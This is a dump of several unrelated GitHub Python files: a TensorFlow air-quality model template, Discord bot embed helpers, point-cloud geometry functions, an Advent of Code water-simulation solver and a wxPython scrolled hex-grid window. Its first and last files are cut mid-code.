math.ceil(((float(dict_of_filePath_to_num_of_examples_in_tfrecord[tfrecord_for_training_example_]) * 1.0) / (float(total_num_of_training_examples) * 1.0)) * self.batch_size)\n\t\t\t\tself.training_batch_size += current_tfrecord_batch_size\n\t\t\t\tcurrent_tr_data = current_tr_data.batch(current_tfrecord_batch_size)\n\t\t\t\tprint(tfrecord_for_training_example_, dict_of_filePath_to_num_of_examples_in_tfrecord[tfrecord_for_training_example_], current_tfrecord_batch_size)\n\t\t\t\tself.list_of_tr_datasets.append(current_tr_data)\n\n\t\tif stage_of_development == \"training\":\n\t\t\tself.batch_size = self.training_batch_size\n\n\t\tself.single_eval_data = None\n\t\tif stage_of_development != \"training\":\n\t\t\tself.single_eval_data = tf.contrib.data.TFRecordDataset(list_of_tfrecords_for_evaluation)\n\t\t\tif type_of_model == 'VGG':\n\t\t\t\tself.single_eval_data = self.single_eval_data.map(parse_example_vgg)\n\t\t\telif type_of_model == 'ResNet':\n\t\t\t\tself.single_eval_data = self.singe_eval_data.map(parse_example_ResNet)\n\t\t\telse:\n\t\t\t\tself.single_eval_data = self.single_eval_data.map(parse_example)\n\t\t\tself.single_eval_data = self.single_eval_data.shuffle(buffer_size=10000)\n\t\t\tself.single_eval_data = self.single_eval_data.repeat(1)\n\t\t\tself.single_eval_data = self.single_eval_data.batch(self.batch_size)\n\n\n\t\t\t#for tfrecord_for_evaluation_example_ in list_of_tfrecords_for_evaluation:\n\t\t\t#\tcurrent_eval_data = tf.contrib.data.TFRecordDataset(tfrecord_for_evaluation_example_)\n\t\t\t#\tif type_of_model == 'VGG':\n\t\t\t#\t\tcurrent_eval_data = current_eval_data.map(parse_example_vgg)\n\t\t\t#\telif type_of_model == 'ResNet':\n\t\t\t#\t\tcurrent_eval_data = current_eval_data.map(parse_example_ResNet)\n\t\t\t#\telse:\n\t\t\t#\t\tcurrent_eval_data = current_eval_data.map(parse_example)\n\t\t\t#\tcurrent_eval_data = current_eval_data.shuffle(buffer_size=10000)\n\t\t\t#\tcurrent_eval_data = current_eval_data.repeat(1)\n\t\t\t#\tcurrent_eval_data = current_eval_data.batch(self.batch_size)\n\t\t\t#\tself.list_of_eval_datasets.append(current_eval_data)\n\n\t\tself.list_of_handles = []\n\t\tself.list_of_iterators = []\n\t\tself.list_of_batch_imgs = []\n\t\tself.list_of_batch_labels = []\n\t\tself.list_of_batch_imgs_and_batch_labels = []\n\n\t\tif stage_of_development == \"training\":\n\t\t\tfor idx_ in range(len(list_of_tfrecords_for_training)):\n\t\t\t\tself.list_of_handles.append(tf.placeholder(tf.string, shape=[]))\n\t\t\t\tself.list_of_iterators.append(Iterator.from_string_handle(self.list_of_handles[idx_], self.list_of_tr_datasets[0].output_types, self.list_of_tr_datasets[0].output_shapes))\n\t\t\t\tbatched_imgs, batched_labels = self.list_of_iterators[idx_].get_next()\n\t\t\t\tif type_of_model == 'DehazeNet':\n\t\t\t\t\tself.list_of_batch_imgs.append(tf.reshape(batched_imgs, [-1, 224+15, 224+15, 3]))\n\t\t\t\telse:\n\t\t\t\t\tself.list_of_batch_imgs.append(tf.reshape(batched_imgs, [-1, 224, 224, 3]))\n\t\t\t\tself.list_of_batch_labels.append(tf.reshape(batched_labels, [-1, 1]))\n\t\telse:\n\t\t\tself.single_eval_handle = tf.placeholder(tf.string, shape=[])\n\t\t\tself.single_eval_iterator = Iterator.from_string_handle(self.single_eval_handle, self.single_eval_data.output_types, self.single_eval_data.output_shapes)\n\t\t\tself.eval_batched_imgs, self.eval_batched_labels = self.single_eval_iterator.get_next()\n\t\t\tif type_of_model == 'DehazeNet':\n\t\t\t\tself.eval_batched_imgs = tf.reshape(self.eval_batched_imgs, [-1, 224+15, 224+15, 3])\n\t\t\telse:\n\t\t\t\tself.eval_batched_imgs = tf.reshape(self.eval_batched_imgs, [-1, 224, 224, 3])\n\t\t\tself.eval_batched_labels = tf.reshape(self.eval_batched_labels, [-1, 1])\n\n\n\t\t\t#for idx_ in range(len(list_of_tfrecords_for_evaluation)):\n\t\t\t#\tself.list_of_handles.append(tf.placeholder(tf.string, shape=[]))\n\t\t\t#\tself.list_of_iterators.append(Iterator.from_string_handle(self.list_of_handles[idx_], self.list_of_eval_datasets[0].output_types, self.list_of_eval_datasets[0].output_shapes))\n\t\t\t#\tbatched_imgs, batched_labels = self.list_of_iterators[idx_].get_next()\n\t\t\t#\tif type_of_model == 'DehazeNet':\n\t\t\t#\t\tself.list_of_batch_imgs.append(tf.reshape(batched_imgs, [-1, 224+15, 224+15, 3]))\n\t\t\t#\telse:\n\t\t\t#\t\tself.list_of_batch_imgs.append(tf.reshape(batched_imgs, [-1, 224, 224, 3]))\n\t\t\t#\tself.list_of_batch_labels.append(tf.reshape(batched_labels, [-1, 1]))\n\n\t\tself.list_of_training_iterators = []\n\t\tself.single_eval_iterator = None\n\n\t\tif stage_of_development == \"training\":\n\t\t\tfor tr_dataset_example_ in self.list_of_tr_datasets:\n\t\t\t\tvalidation_iterator = tr_dataset_example_.make_one_shot_iterator()\n\t\t\t\tself.list_of_training_iterators.append(validation_iterator)\n\n\t\tif stage_of_development == \"evaluation\":\n\t\t\tself.single_eval_iterator = self.single_eval_data.make_one_shot_iterator()\n\n\t\tself.row_indices = tf.placeholder(tf.int32, (self.batch_size,))\n\t\tself.row_indices_reshaped = tf.reshape(self.row_indices, [self.batch_size, 1])\n\n\n\t\tif stage_of_development == \"training\":\n\t\t\tself.batch_inputs = tf.gather_nd(tf.concat(self.list_of_batch_imgs, 0), self.row_indices_reshaped)\n\t\t\tself.batch_targets = tf.gather_nd(tf.concat(self.list_of_batch_labels, 0), self.row_indices_reshaped)\n\t\telse:\n\t\t\tself.batch_inputs = tf.gather_nd(self.eval_batch_imgs, self.row_indices_reshaped)\n\t\t\tself.batch_targets = tf.gather_nd(self.eval_batched_labels, self.row_indices_reshaped)\n\n\t\tself.stage_of_development = stage_of_development\n\t\tself.model_path = model_path\n\t\tself.type_of_optimizer = type_of_optimizer\n\t\tself.model = None\n\t\tself.beta1 = beta1\n\t\tself.beta2 = beta2\n\t\tself.pm_values = tf.gather_nd(tf.concat(self.list_of_batch_labels, 0), self.row_indices_reshaped)\n\n\t\t#if num_of_classes > 1:\n\t\t#\tdiscrete_targets = tf.cast(self.batch_targets, dtype=tf.float32)\n\t\t#\tdiscrete_targets = tf.reshape(discrete_targets, [-1, 1])\n\t\t#\tmin_bins = tf.reshape(tf.cast(min_bins, dtype=tf.float32), [1, -1])\n\t\t#\tmax_bins = tf.reshape(tf.cast(max_bins, dtype=tf.float32), [1, -1])\n\t\t#\tc_1 = tf.subtract(discrete_targets, min_bins)\n\t\t#\tc_1 = tf.add(tf.cast(c_1 < 0, c_1.dtype) * 10000, tf.nn.relu(c_1))\n\t\t#\tc_2 = tf.subtract(discrete_targets * -1, max_bins)\n\t\t#\tc_2 = tf.add(tf.cast(c_2 < 0, c_2.dtype) * 10000, tf.nn.relu(c_2))\n\t\t#\tc = tf.add(c_1, c_2)\n\t\t#\tself.batch_targets = tf.reshape(tf.argmin(c, 1), [-1, 1])\n\n\t\tself.is_training = tf.placeholder(tf.bool, shape=[])\n\n\t\tif type_of_model == 'DehazeNet':\n\t\t\tself.model = DehazeNetModel(sess,\n\t\t\t\t\t\t\t\t\t\tself.batch_inputs,\n\t\t\t\t\t\t\t\t\t\tself.batch_targets,\n\t\t\t\t\t\t\t\t\t\tself.stage_of_development,\n\t\t\t\t\t\t\t\t\t\tnum_of_classes,\n\t\t\t\t\t\t\t\t\t\tmin_bins=min_bins,\n\t\t\t\t\t\t\t\t\t\tmax_bins=max_bins)\n\t\telif type_of_model == \"VGG\":\n\t\t\tself.model = AQPVGGModel(sess,\n\t\t\t\t\t\t\t\t\tself.batch_inputs,\n\t\t\t\t\t\t\t\t\tself.batch_targets,\n\t\t\t\t\t\t\t\t\tself.stage_of_development,\n\t\t\t\t\t\t\t\t\tself.model_path,\n\t\t\t\t\t\t\t\t\tnum_of_classes,\n\t\t\t\t\t\t\t\t\tself.is_training,\n\t\t\t\t\t\t\t\t\tmin_bins=min_bins,\n\t\t\t\t\t\t\t\t\tmax_bins=max_bins)\n\t\telif type_of_model == \"ResNet\":\n\t\t\tself.model = AQPResNetModel(sess,\n\t\t\t\t\t\t\t\t\t\tself.batch_inputs,\n\t\t\t\t\t\t\t\t\t\tself.batch_targets,\n\t\t\t\t\t\t\t\t\t\tself.stage_of_development,\n\t\t\t\t\t\t\t\t\t\tself.model_path,\n\t\t\t\t\t\t\t\t\t\tnum_of_classes,\n\t\t\t\t\t\t\t\t\t\tmin_bins=min_bins,\n\t\t\t\t\t\t\t\t\t\tmax_bins=max_bins) \n\t\telse:\n\t\t\tself.model = SimpleCNNModel(sess, self.batch_inputs, self.batch_targets, self.stage_of_development)\n\n\t\tdef return_predictions():\n\t\t\treturn self.model.predictions\n\t\tdef return_validation_predictions():\n\t\t\treturn self.model.validation_predictions\n\n\t\tdef return_MAE():\n\t\t\treturn tf.reduce_mean(tf.abs(tf.subtract(self.model.predictions, self.model.labels)))\n\t\tdef return_validation_MAE():\n\t\t\treturn tf.reduce_mean(tf.abs(tf.subtract(self.model.validation_predictions, self.model.labels)))\n\n\t\tdef return_MSE():\n\t\t\treturn tf.reduce_mean(tf.square(tf.subtract(self.model.predictions, self.model.labels)))\n\t\tdef return_validation_MSE():\n\t\t\treturn tf.reduce_mean(tf.square(tf.subtract(self.model.validation_predictions, self.model.labels)))\n\n\t\tdef return_MSLE():\n\t\t\treturn tf.reduce_mean(tf.square(tf.subtract(tf.log(tf.add(self.model.predictions, 1.0)), tf.log(tf.add(self.model.labels, 1.0)))))\n\t\tdef return_validation_MSLE():\n\t\t\treturn tf.reduce_mean(tf.square(tf.subtract(tf.log(tf.add(self.model.validation_predictions, 1.0)), tf.log(tf.add(self.model.labels, 1.0)))))\n\n\t\tdef return_R2_score():\n\t\t\tnumerator = tf.reduce_sum(tf.square(tf.subtract(self.model.labels, self.model.predictions))) #Unexplained Error\n\t\t\tdenominator = tf.reduce_sum(tf.square(tf.subtract(self.model.labels, tf.reduce_mean(self.model.labels)))) # Total Error\n\t\t\treturn tf.subtract(1.0, tf.divide(numerator, denominator))\n\t\tdef return_validation_R2_score():\n\t\t\tnumerator = tf.reduce_sum(tf.square(tf.subtract(self.model.labels, self.model.validation_predictions))) #Unexplained Error\n\t\t\tdenominator = tf.reduce_sum(tf.square(tf.subtract(self.model.labels, tf.reduce_mean(self.model.labels)))) # Total Error\n\t\t\treturn tf.subtract(1.0, tf.divide(numerator, denominator))\n\n\t\tself.learning_rate = tf.placeholder(tf.float32, shape=[])\n\t\tself.partial_learning_rate = tf.placeholder(tf.float32, shape=[])\n\t\tself.global_step = tf.Variable(0, trainable=False)\n\t\tself.predictions = tf.cond(self.is_training, return_predictions, return_validation_predictions)\n\t\tself.MAE_ = tf.cond(self.is_training, return_MAE, return_validation_MAE)\n\t\tself.R2_score_ = tf.cond(self.is_training, return_R2_score, return_validation_R2_score)\n\t\tself.MSE_ = tf.cond(self.is_training, return_MSE, return_validation_MSE)\n\t\tself.MSLE_ = tf.cond(self.is_training, return_MSLE, return_validation_MSLE)\n\t\t\n\t\tif self.stage_of_development == \"training\":\n\t\t\tself.global_eval_step = tf.Variable(0, trainable=False)\n\t\t\tself.global_eval_update_step_variable = tf.assign(self.global_eval_step, self.global_eval_step+1)\n\t\t\ttf.summary.scalar('MAE', self.MAE_)\n\t\t\ttf.summary.scalar('MSE', self.MSE_)\n\t\t\ttf.summary.scalar('MSLE', self.MSLE_)\n\t\t\ttf.summary.scalar('R2 Coefficient', self.R2_score_)\n\n\t\tif self.stage_of_development == \"training\" or self.stage_of_development == \"resume_training\":\n\t\t\tif type_of_model == 'DehazeNet' or type_of_model == 'VGG':\n\t\t\t\tpartial_opt = None\n\t\t\t\tif self.type_of_optimizer == 'adam':\n\t\t\t\t\tpartial_opt = tf.train.AdamOptimizer(learning_rate=self.partial_learning_rate, beta1=self.beta1, beta2=self.beta2)\n\t\t\t\telse:\n\t\t\t\t\tpartial_opt = tf.train.GradientDescentOptimizer(learning_rate=self.partial_learning_rate)\n\t\t\t\tpartial_gradient = tf.gradients(self.MAE_, self.model.variables_trained_from_scratch)\n\t\t\t\tself.partial_train_op = partial_opt.apply_gradients(zip(partial_gradient, self.model.variables_trained_from_scratch), global_step=self.global_step)\n\n\t\t\t\tif self.type_of_optimizer == 'adam':\n\t\t\t\t\tfull_opt = tf.train.AdamOptimizer(learning_rate=self.learning_rate, beta1=self.beta1, beta2=self.beta2)\n\t\t\t\telse:\n\t\t\t\t\tfull_opt = tf.train.GradientDescentOptimizer(learning_rate=self.learning_rate)\n\t\t\t\tfull_gradient = tf.gradients(self.MAE_, self.model.all_variables)\n\t\t\t\tself.train_op = full_opt.apply_gradients(zip(full_gradient, self.model.all_variables), global_step=self.global_step)\n\t\t\telif type_of_model == 'ResNet':\n\t\t\t\tpartial_opt = tf.train.AdamOptimizer(learning_rate=self.partial_learning_rate, beta1=self.beta1, beta2=self.beta2)\n\t\t\t\tself.partial_train_op = slim.learning.create_train_op(self.MAE_, partial_opt, global_step=self.global_step, variables_to_train=self.model.variables_trained_from_scratch)\n\n\t\t\t\tfull_opt = tf.train.AdamOptimizer(learning_rate=self.learning_rate, beta1=self.beta1, beta2=self.beta2)\n\t\t\t\tself.train_op = slim.learning.create_train_op(self.MAE_, full_opt, global_step=self.global_step, variables_to_train=self.model.all_variables)\n\t\t\telse:\n\t\t\t\tif self.type_of_optimizer == 'adam':\n\t\t\t\t\topt = tf.train.AdamOptimizer(learning_rate=self.learning_rate, beta1=self.beta1, beta2=self.beta2)\n\t\t\t\telse:\n\t\t\t\t\topt = tf.train.GradientDescentOptimizer(learning_rate=self.learning_rate)\n\t\t\t\tgradient = tf.gradients(self.MAE_, self.model.all_variables)\n\t\t\t\tself.train_op = opt.apply_gradients(zip(gradient, self.model.all_variables), global_step=self.global_step)\n\n\t\tself.merged = tf.summary.merge_all()\n\t\tself.train_writer = tf.summary.FileWriter(summary_dir + '/' + experiment_folder + '/train', sess.graph)\n\t\tself.saver = tf.train.Saver(tf.global_variables(), max_to_keep=4)","repo_name":"cemanuel/air_pollution","sub_path":"models/aqp_model_template.py","file_name":"aqp_model_template.py","file_ext":"py","file_size_in_byte":17554,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"52"} +{"seq_id":"40376355311","text":"import random\nfrom dataclasses import dataclass\n\nimport discord\n\n\n@dataclass\nclass ModdyEmbed(discord.Embed):\n def __init__(self, title: str, description: str = \"\", **kwargs):\n super().__init__(**kwargs)\n self.color = 0x00B3EC\n self.title = title\n self.description = description\n\n\nclass ModdyError(ModdyEmbed):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.color = 0x8F003C\n\n\nclass ModdySuccess(ModdyEmbed):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.color = 0x7DEB34\n\n\nclass ModdyWarning(ModdyEmbed):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.color = 0xD1CA3B\n\n\ndef ping_embed(latency: int, elapsed: int):\n return ModdySuccess(\n \"Pong 🏓 !!\",\n f\"latency: {round(latency * 1000, 3)}ms\\nAPI: {elapsed}s\",\n )\n\n\ndef command_not_allowed(command: str, permission: str) -> ModdyEmbed:\n title = \"You are not allowed to perform this action\"\n desc = (\n f\"You are not allowed to use command `{command}` because\"\n f\" of the missing permission **{permission}**\"\n )\n return ModdyError(title, desc)\n\n\nprovide_query = ModdyError(\n \"How the hell will you expect a result without a query?\",\n \"Please provide a query to get results\",\n)\n\n\nreload_embed = ModdyEmbed(\"Reread all instructions 💥 \")\n\n\ndef google_embed(query: str, answer: str, *, img=None) -> ModdyEmbed:\n phrases = [\n \"Here you go sir 🎀🕴️...\",\n \"It's good that I had a magnifiying glass 🔎 🔍\",\n \"I search all over the world just for u 🗺️🌏\",\n \"I get exhauseted too mate 😮‍💨🤬\",\n \"Don't use this command that much. I'm very tired 😡\",\n \"Why did you call me, I was going to the washroom. ⚰️🧟‍♀️\",\n \"Oh man pls give me break ❤️‍🔥❤️‍🔥❤️‍🔥\",\n ]\n title = random.choice(phrases)\n embed = ModdyEmbed(title, f'**Results for \"{query}\"**\\n\\n{answer}')\n if img:\n embed.set_thumbnail(url=img)\n # embed.set\n # embed.add_field(name=query, value=\"\")\n return embed\n","repo_name":"Hyperx837/Moddy","sub_path":"moddy/embeds.py","file_name":"embeds.py","file_ext":"py","file_size_in_byte":2189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"133917555","text":"\"\"\"Point cloud operations.\"\"\"\n\nimport numpy as np\n\n\ndef embed_point_in_rn(point, n):\n r\"\"\"\n Embed an m-dimensional point in :math:`\\mathbb{R}^n, m < n` by adding zeros for the missing coordinates.\n\n :param point: Point (m:d vector).\n :type point: :class:`Numpy array `\n :param int n: Dimension of the space we want to embed in.\n :return: The same point embedded in :math:`\\mathbb{R}^n`.\n :rtype: :class:`Numpy array `\n\n .. rubric:: Examples\n\n >>> embed_point_in_rn(np.array([1, 1]), 3)\n array([1., 1., 0.])\n \"\"\"\n assert point.ndim == 1\n m = len(point)\n assert n > m\n return np.concatenate((point, np.zeros(n - m)))\n\n\ndef embed_point_cloud_in_rn(points, n):\n r\"\"\"\n Embed an m-dimensional point cloud in :math:`\\mathbb{R}^n, m < n` by adding zeros for the missing coordinates.\n\n :param points: Points in the point cloud (num points by m array).\n :type points: :class:`Numpy array `\n :param int n: Dimension of the space we want to embed in.\n :return: The same point cloud embedded in :math:`\\mathbb{R}^n`.\n :rtype: :class:`Numpy array `\n\n .. rubric:: Examples\n\n >>> embed_point_cloud_in_rn(np.array([[0, 0], [1, 1]]), 3)\n array([[0., 0., 0.],\n [1., 1., 0.]])\n \"\"\"\n assert points.ndim == 2\n q, m = points.shape\n assert n > m\n points = np.concatenate((points, np.zeros((q, n - m))), axis=1)\n return np.reshape(points, (-1, n))\n\n\ndef mean(points):\n r\"\"\"\n Compute the mean, or centroid, of a point cloud in :math:`\\mathbb{R}^m`.\n\n .. math:: \\frac{1}{N} \\sum_{i = 1}^N x_i,\n\n where N is the number of points in the point cloud.\n\n :param points: Points in the point cloud (N by m array).\n :type points: :class:`Numpy array `\n :return: Mean of the point cloud along each axis (length m array).\n :rtype: :class:`Numpy array `\n\n .. rubric:: Examples\n\n >>> mean(np.array([1.0, 3.0, 5.0]))\n 3.0\n >>> mean(np.array([[1.0, 2.0], [3.0, 4.0]]))\n array([2., 3.])\n \"\"\"\n return np.mean(points, axis=0)\n\n\ndef median(points):\n r\"\"\"\n Compute the median of a point cloud in :math:`\\mathbb{R}^m`.\n\n The i:th entry of the median is the median of the i:th component of the points in the point cloud.\n\n :param points: Points in the point cloud (num points by m array).\n :type points: :class:`Numpy array `\n :return: Median of the point cloud along each axis (length m array).\n :rtype: :class:`Numpy array `\n\n .. rubric:: Examples\n\n >>> median(np.array([1.0, 3.25, 5.0]))\n 3.25\n >>> median(np.array([[1.0, 2.0], [3.0, 4.0]]))\n array([2., 3.])\n \"\"\"\n return np.median(points, axis=0)\n\n\ndef principal_component_axis(points):\n r\"\"\"\n Get the principal component axis of a point cloud in :math:`\\mathbb{R}^m`.\n\n The principal component axis is the direction in which the point cloud is most spread out, i.e. the unit vector\n w which maximizes\n\n .. math:: \\sum_{i = 1}^N \\langle x_i - \\bar{x}, w \\rangle,\n\n where N is the number of points in the point cloud and :math:`\\bar{x}` is the mean of the point cloud.\n\n :param points: Points in the point cloud (N by m array).\n :type points: :class:`Numpy array `\n :return: Principal component axis of the point cloud (length m array).\n :rtype: :class:`Numpy array `\n \"\"\"\n x = points - mean(points)\n xtx = np.dot(x.T, x)\n w, v = np.linalg.eigh(xtx)\n return v[:, -1]\n\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n","repo_name":"FAndersson/polynomials_on_simplices","sub_path":"polynomials_on_simplices/geometry/mesh/point_clouds.py","file_name":"point_clouds.py","file_ext":"py","file_size_in_byte":3627,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"5628753574","text":"class EntityComboMethods:\n Sum = 'sum'\n Multiply = 'multiply'\n\nclass LLParams:\n def __init__(self, ctx_vocab_size=0, ctx_dim=0,\n entity_vocab_size=0, entity_dim=0,\n secondary_entity_vocab_size=0, secondary_entity_dim=0,\n window_size=0, max_num_entities=0, max_mention_size=0,\n entity_combo_method=EntityComboMethods.Sum,\n using_mention=False):\n self._ctx_vocab_size = ctx_vocab_size\n self._ctx_dim = ctx_dim\n self._entity_vocab_size = entity_vocab_size\n self._entity_dim = entity_dim\n self._secondary_entity_vocab_size = secondary_entity_vocab_size\n self._secondary_entity_dim = secondary_entity_dim\n self._window_size = window_size\n self._max_num_entities = max_num_entities\n self._max_mention_size = max_mention_size\n self._entity_combination = entity_combo_method\n self._using_mention = using_mention\n","repo_name":"OSU-slatelab/JET","sub_path":"experiments/entitylinking/params.py","file_name":"params.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"52"} +{"seq_id":"31095629261","text":"from helpers import download\nimport re\nimport numpy as np\n\n\ndef printGrid(grid):\n for line in grid:\n for char in line:\n print(char, end='')\n print()\n\n\ndef expandGrid(grid, shiftX, shiftY, coords):\n # Allow padding in the x direction since water can travel 1 space past each solid surface\n newMinX = min(coords['x']) - 1\n newMaxX = max(coords['x']) + 1\n newMinY = min(coords['y'])\n newMaxY = max(coords['y'])\n\n # The first time, initialise the as-yet-unknown shiftY to the correct value\n if shiftY == -1:\n shiftY = newMinY\n\n curMinX = shiftX\n curMaxX = len(grid[0]) + shiftX\n curMinY = shiftY\n curMaxY = len(grid) + shiftY\n\n # Prepend free space onto each row to expand in the -x direction\n if newMinX < curMinX:\n for k, v in enumerate(grid):\n grid[k] = ['.' for _ in range(newMinX, curMinX)] + v\n shiftX = newMinX\n\n # Append free space onto each row to expand in the +x direction\n if newMaxX > curMaxX:\n for k, v in enumerate(grid):\n grid[k] = v + ['.' for _ in range(curMaxX, newMaxX + 1)]\n\n # Prepend rows of free space to the grid to expand in the -y direction\n if newMinY < curMinY:\n grid = [['.' for _ in range(min(curMinX, newMinX), max(curMaxX, newMaxX + 1))] for _ in range(newMinY, curMinY)] + grid\n shiftY = newMinY\n\n # Append rows of free space to the grid to expand in the +y direction\n if newMaxY > curMaxY:\n grid = grid + [['.' for _ in range(min(curMinX, newMinX), max(curMaxX, newMaxX + 1))] for _ in range(curMaxY, newMaxY + 1)]\n\n return grid, shiftX, shiftY\n\n\ndef getData():\n r = download('https://adventofcode.com/2018/day/17/input')\n regex = re.compile(r'^([xy])=(\\d+), ([xy])=(\\d+)..(\\d+)$')\n\n grid = [['.']]\n shiftX = 500\n shiftY = -1\n\n for line in r.iter_lines():\n k1, v1, k2, v2start, v2end = regex.match(line.decode()).groups()\n # Store two lists of the same length, so that the zip below creates the correct amount of coordinate pairs\n coords = {k1: [int(v1) for _ in range(int(v2start), int(v2end) + 1)], k2: [x for x in range(int(v2start), int(v2end) + 1)]}\n\n # Expand the grid if necessary\n grid, shiftX, shiftY = expandGrid(grid, shiftX, shiftY, coords)\n\n # Input all the clay pieces\n for x, y in zip(coords['x'], coords['y']):\n grid[y - shiftY][x - shiftX] = '#'\n\n return np.array(grid), shiftX\n\n\ndef checkRow(grid, x, y):\n # Walk left and right, checking to see if we're bounded by walls or if there's free space left to flow into\n for ddx in [-1, 1]:\n dx = ddx\n while grid[y][x + dx] == '|':\n dx += ddx\n if grid[y][x + dx] == '.':\n return False\n\n return True\n\n\ndef solidifyRow(grid, x, y):\n returnSet = set()\n\n # Handle the current location\n grid[y][x] = '~'\n if grid[y - 1][x] == '|':\n returnSet.add((x, y - 1))\n\n # Walk left and right changing flowing water to standing water, and tracking input flows\n for ddx in [-1, 1]:\n dx = ddx\n while grid[y][x + dx] == '|':\n grid[y][x + dx] = '~'\n if grid[y - 1][x + dx] == '|':\n returnSet.add((x + dx, y - 1))\n\n dx += ddx\n\n return returnSet\n\n\ndef simulate(grid, shiftX):\n # The initial node is under the spring at (500, 0)\n currentLayer = {(500 - shiftX, 0)}\n\n # Simulate in pseudo-real-time: progress one step from all frontiers at each timestep\n # This isn't the most efficient way, but it looks cool if you watch it\n while len(currentLayer) > 0:\n newLayer = set()\n\n for x, y in currentLayer:\n # Set this location to \"running water\"\n grid[y][x] = '|'\n\n # Check for falling off the bottom of the grid\n if y + 1 < len(grid):\n objBelow = grid[y + 1][x]\n if objBelow in ['#', '~']:\n # The object below is solid, so check to see if we've filled up the row\n if checkRow(grid, x, y):\n # Turn all the flowing water into standing water\n newNodes = solidifyRow(grid, x, y)\n # Add nodes that are flowing into the current row to be checked\n for node in newNodes:\n newLayer.add(node)\n else:\n # We haven't filled up the row, so flow sideways if there's space\n for dx in [-1, 1]:\n if grid[y][x + dx] == '.':\n newLayer.add((x + dx, y))\n else:\n # There's empty space below, so flow down into it\n newLayer.add((x, y + 1))\n\n currentLayer = newLayer\n\n return grid\n\n\ndef puzzle1(grid):\n numWet = np.count_nonzero(grid == '~')\n numDamp = np.count_nonzero(grid == '|')\n print('Answer: {}'.format(numWet + numDamp))\n\n\ndef puzzle2(grid):\n numWet = np.count_nonzero(grid == '~')\n print('Answer: {}'.format(numWet))\n\n\nif __name__ == '__main__':\n inputData = getData()\n finalGrid = simulate(*inputData)\n puzzle1(finalGrid)\n puzzle2(finalGrid)\n","repo_name":"sherlockmatt/aoc2018","sub_path":"day17.py","file_name":"day17.py","file_ext":"py","file_size_in_byte":5248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"15424044248","text":"import wx\nimport time\n\nclass HexGridWindow(wx.ScrolledWindow):\n def __init__(self, *args, **kwargs):\n wx.ScrolledWindow.__init__ (self, *args, **kwargs)\n self.SetAutoLayout(True)\n\n self.top = HexGridColHeader(self, 40, 40)\n self.left = HexGridRowHeader(self, 40, 40)\n self.main = HexGridDataWindow(self, 40, 40)\n sizer = wx.FlexGridSizer(2,2,0,0)\n self.corner = sizer.Add(5, 5, 0, wx.EXPAND)\n sizer.Add(self.top, 0, wx.EXPAND)\n sizer.Add(self.left, 0, wx.EXPAND)\n sizer.Add(self.main, 0, wx.EXPAND)\n sizer.AddGrowableCol(1)\n sizer.AddGrowableRow(1)\n self.SetSizer(sizer)\n self.SetTargetWindow(self.main)\n self.SetScrollRate(20,20)\n self.Bind(wx.EVT_SCROLLWIN, self.on_scroll_window)\n self.Bind(wx.EVT_LEFT_UP, self.on_left_up)\n \n def on_left_up(self, event):\n print()\n print(\"Title \" + str(self))\n print(\"Position \" + str(self.GetPosition()))\n print(\"Size \" + str(self.GetSize()))\n print(\"VirtualSize \" + str(self.GetVirtualSize()))\n event.Skip()\n \n def set_pane_sizes(self, width, height, left_width, top_height):\n \"\"\"\n Set the size of the 3 panes as follow:\n - main = width, height\n - top = width, 40\n - left = 80, height\n \"\"\"\n self.main.SetVirtualSize(wx.Size(width,height))\n #(wt, ht) = self.top.GetSize()\n self.top.SetVirtualSize(wx.Size(width, top_height))\n #(wl, hl) = self.left.GetSize()\n self.left.SetVirtualSize(wx.Size(left_width, height))\n self.corner.SetMinSize(left_width, top_height)\n #self.Layout()\n \n def on_scroll_window(self, event):\n \"\"\"\n OnScrollWindow Event Callback. This should let the main panel scroll in\n both direction but transmit the vertical scrolling to the left panel\n and the horizontal scrolling to the top window\n \"\"\"\n sx,sy = self.GetScrollPixelsPerUnit()\n if event.GetOrientation() == wx.HORIZONTAL:\n dx = event.GetPosition()\n dy = self.GetScrollPos(wx.VERTICAL)\n else:\n dx = self.GetScrollPos(wx.HORIZONTAL)\n dy = event.GetPosition()\n \n pos = (dx ,dy)\n print(\"scrolling...\" + str(pos) + str(event.GetPosition()))\n # self.main.Scroll(dx, dy)\n # self.top.Scroll(dx, 0)\n # self.left.Scroll(0, dy)\n event.Skip()\n\n\nclass HexGridHeader(wx.ScrolledCanvas):\n use_x = 1\n use_y = 1\n\n def __init__(self, parent, width, height):\n wx.ScrolledCanvas.__init__(self, parent, -1)\n self.parent = parent\n self.SetBackgroundColour(wx.RED)\n self.SetSize(width, height)\n self.SetVirtualSize(width, height)\n self.Bind(wx.EVT_LEFT_DOWN, self.on_left_up)\n self.Bind(wx.EVT_PAINT, self.on_paint)\n self.Bind(wx.EVT_SIZE, self.on_size)\n\n def on_size(self, event ):\n print(\"Size \" + str(self.GetSize()))\n print(\"VirtualSize \" + str(self.GetVirtualSize()))\n size = self.GetSize()\n vsize = self.GetVirtualSize()\n if self.use_x and self.use_y:\n # main window, no adjustment\n pass\n elif self.use_x:\n # scrolls in X dir\n self.SetVirtualSize(vsize.x, size.y)\n else:\n self.SetVirtualSize(size.x, vsize.y)\n\n #self.Layout()\n\n def on_paint(self, event):\n\n dc = wx.PaintDC(self)\n #self.parent.PrepareDC(dc)\n size = self.GetVirtualSize()\n\n s = \"Size: %d x %d\"%(size.x, size.y)\n vbX, vbY = self.parent.GetViewStart()\n posX, posY = self.parent.CalcUnscrolledPosition (0, 0)\n vbX, vbY = vbX * self.use_x, vbY * self.use_y\n posX, posY = posX * self.use_x, posY * self.use_y\n # vbX, vbY = self.GetViewStart()\n # posX, posY = self.CalcUnscrolledPosition (0, 0)\n upd = wx.RegionIterator(self.GetUpdateRegion()) # get the update rect list\n r = []\n while upd.HaveRects():\n rect = upd.GetRect()\n\n # Repaint this rectangle\n #PaintRectangle(rect, dc)\n r.append(\"rect: %s\" % str(rect))\n upd.Next()\n print(s, (posX, posY), 